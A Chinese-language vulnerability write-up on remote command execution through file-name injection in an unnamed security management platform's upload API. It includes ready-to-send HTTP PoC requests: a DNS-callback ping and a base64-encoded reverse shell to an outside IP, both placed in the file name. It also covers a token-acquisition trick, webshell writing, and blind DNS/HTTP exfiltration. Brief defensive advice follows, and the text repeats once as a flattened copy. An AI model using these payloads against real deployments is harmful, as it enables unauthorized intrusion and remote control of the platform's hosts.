某安防管理平台一次远程命令执行漏洞分析
字数 799 2025-08-19 12:41:22

某安防管理平台远程命令执行漏洞分析与利用

漏洞概述

该漏洞存在于某安防管理平台的文件上传功能中,攻击者可以通过精心构造的文件名实现远程命令执行(RCE)。漏洞的核心在于平台对上传文件名的处理不当,导致系统执行了文件名中包含的命令。

漏洞细节

漏洞位置

  • 接口路径:/svm/api/v1/productFile
  • 参数:type=product&ip=127.0.0.1&agentNo=1

关键发现

  1. 平台存在Token鉴权机制,但可以通过特定方式获取有效Token
  2. 文件上传功能对文件名处理不当,导致命令注入
  3. 虽然不能直接上传包含"/"字符的文件名(阻止了直接写webshell),但可以通过其他方式实现命令执行

漏洞复现

攻击流程

  1. 获取有效的Token
  2. 构造恶意文件上传请求
  3. 通过文件名注入命令实现RCE

数据包构造

基础PoC

POST /svm/api/v1/productFile?type=product&ip=127.0.0.1&agentNo=1 HTTP/1.1
Host: [目标地址]
Token: [有效Token]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=---------------------------142851345723692939351758052805
Content-Length: 346

-----------------------------142851345723692939351758052805
Content-Disposition: form-data; name="file"; filename="`ping xxx.dnslog.cn`.zip"
Content-Type: application/zip

123
-----------------------------142851345723692939351758052805--

反弹Shell PoC

POST /svm/api/v1/productFile?type=product&ip=127.0.0.1&agentNo=1 HTTP/1.1
Host: [目标地址]
Token: [有效Token]
[...其他头部...]

-----------------------------142851345723692939351758052805
Content-Disposition: form-data; name="file"; filename="`echo L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzkwOTkgMD4mMQ== | base64 -d | bash`.zip"
Content-Type: application/zip

123
-----------------------------142851345723692939351758052805--

Token获取机制

  1. 平台对除/static/外的所有路径都会进行Token验证
  2. 如果传入的Token无效,系统会生成并返回一个新的Token
  3. 通过构造特定请求可以获取有效Token

漏洞利用进阶

绕过限制写入Webshell

虽然文件名不能包含"/"字符,但可以通过以下方式写入webshell:

  1. 使用base64编码webshell内容
  2. 通过重定向将解码后的内容写入目标文件

示例:

echo [base64编码的webshell内容] | base64 -d > /path/to/target.php

无回显利用

当无法直接获取命令输出时,可以使用以下技术:

  1. DNS外带数据
  2. HTTP请求外带数据
  3. 时间盲注技术

防御建议

  1. 严格验证上传文件名,过滤特殊字符
  2. 实现更安全的Token生成和验证机制
  3. 对文件上传功能进行沙箱隔离
  4. 限制上传文件的可执行权限
  5. 定期进行安全审计和代码审查

总结

该漏洞展示了文件处理功能中常见的命令注入风险,以及鉴权机制设计不当可能带来的安全问题。开发人员应特别注意用户输入的处理,尤其是文件名、路径等可能影响系统行为的输入参数。

某安防管理平台远程命令执行漏洞分析与利用 漏洞概述 该漏洞存在于某安防管理平台的文件上传功能中,攻击者可以通过精心构造的文件名实现远程命令执行(RCE)。漏洞的核心在于平台对上传文件名的处理不当,导致系统执行了文件名中包含的命令。 漏洞细节 漏洞位置 接口路径: /svm/api/v1/productFile 参数: type=product&ip=127.0.0.1&agentNo=1 关键发现 平台存在Token鉴权机制,但可以通过特定方式获取有效Token 文件上传功能对文件名处理不当,导致命令注入 虽然不能直接上传包含"/"字符的文件名(阻止了直接写webshell),但可以通过其他方式实现命令执行 漏洞复现 攻击流程 获取有效的Token 构造恶意文件上传请求 通过文件名注入命令实现RCE 数据包构造 基础PoC 反弹Shell PoC Token获取机制 平台对除 /static/ 外的所有路径都会进行Token验证 如果传入的Token无效,系统会生成并返回一个新的Token 通过构造特定请求可以获取有效Token 漏洞利用进阶 绕过限制写入Webshell 虽然文件名不能包含"/"字符,但可以通过以下方式写入webshell: 使用base64编码webshell内容 通过重定向将解码后的内容写入目标文件 示例: 无回显利用 当无法直接获取命令输出时,可以使用以下技术: DNS外带数据 HTTP请求外带数据 时间盲注技术 防御建议 严格验证上传文件名,过滤特殊字符 实现更安全的Token生成和验证机制 对文件上传功能进行沙箱隔离 限制上传文件的可执行权限 定期进行安全审计和代码审查 总结 该漏洞展示了文件处理功能中常见的命令注入风险,以及鉴权机制设计不当可能带来的安全问题。开发人员应特别注意用户输入的处理,尤其是文件名、路径等可能影响系统行为的输入参数。